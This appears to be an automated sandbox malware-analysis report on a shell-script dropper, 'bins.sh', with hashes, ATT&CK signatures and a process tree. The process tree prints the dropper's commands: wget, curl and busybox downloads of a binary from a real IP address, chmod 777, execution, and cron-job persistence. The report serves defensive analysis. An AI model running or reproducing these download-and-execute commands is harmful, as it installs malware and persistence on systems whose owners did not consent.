Analysis
-
max time kernel
149s -
max time network
150s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
26/11/2024, 09:46
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
18262d4c826687f41461cf4c4568661b
-
SHA1
f7050df68970ac968f93be6408d72cb0fc0e92a0
-
SHA256
91c5f16130fbed4d65bab444c62746216cb6de59e859c33b21c10894f9008af3
-
SHA512
af0e00f652cbc9864dcf26d491302b8e81b8134d0b4df40b3b09d2aab0caf553444e4bc949d2e05c63ad7bdb5bcc98ee01f5d459662e27d69c2a9ce52c4f0585
-
SSDEEP
192:3Om8uM+B+V+F+4+g+p7CE4/tvhOm81+B+V+F+4+g+X4:dL0gwP3p7CE8tr0gwP3X4
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 698 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 700 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 -
Renames itself 1 IoCs
pid Process 701 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.onUmGC crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/783/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/594/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/658/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/721/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/796/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/self/auxv curl File opened for reading /proc/720/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/723/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/804/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/7/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/26/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/157/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/304/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/314/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/736/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/753/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/798/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/6/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/24/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/202/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/735/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/739/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/16/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/144/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/725/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/11/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/781/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/800/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/768/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/794/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/4/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/659/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/747/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/271/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/657/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/722/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/8/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/21/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/43/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/782/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/20/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/170/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/778/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/138/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/359/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/614/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/665/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/791/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/filesystems crontab File opened for reading /proc/1/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/13/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/802/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/732/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/790/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/19/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/206/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/668/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/filesystems crontab File opened for reading /proc/9/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/28/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/18/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/797/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/172/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 File opened for reading /proc/777/cmdline llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 -
System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 664 wget 688 curl 692 busybox 700 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 721 rm -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 busybox File opened for modification /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 wget File opened for modification /tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3 curl
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:660
-
/bin/rm/bin/rm bins.sh2⤵PID:662
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:664
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:688
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:692
-
-
/bin/chmodchmod 777 llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- File and Directory Permissions Modification
PID:698
-
-
/tmp/llbnIPxocFacVDDCP40y8bOxjAxkb8rRc3./llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
- System Network Configuration Discovery
PID:700 -
/bin/shsh -c "crontab -l"3⤵PID:702
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
PID:703
-
-
-
/bin/shsh -c "crontab -"3⤵PID:705
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:707
-
-
-
-
/bin/rmrm llbnIPxocFacVDDCP40y8bOxjAxkb8rRc32⤵
- System Network Configuration Discovery
PID:721
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/SL9EjEnG3z9rQKMM9J1GiKPKyIGkGIXS1w2⤵PID:725
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
177KB
MD5786d75a158fe731feca3880f436082c0
SHA179ea2734e43d00cdeabed5586b2c1994d02aef3e
SHA2565fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
SHA5127984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f
-
Filesize
210B
MD56567fb3e4a7389dbd0256e1bef50a5b7
SHA1a7c11ee2ee7bb34041a7508a17d8fe905ca120d2
SHA256e7e1ce3d587924520106e159b36d7e09d7e9b2c34abe09b02f6cd1d767d5c28f
SHA512edb0ae095977d70f97113c456c3aef4e58874eed15d80d8f163d5eb36474d4c22ea7febe4c12e2eba6525aa6bc00e1a762d8cd7ae388039bdedc6c67ebacaa43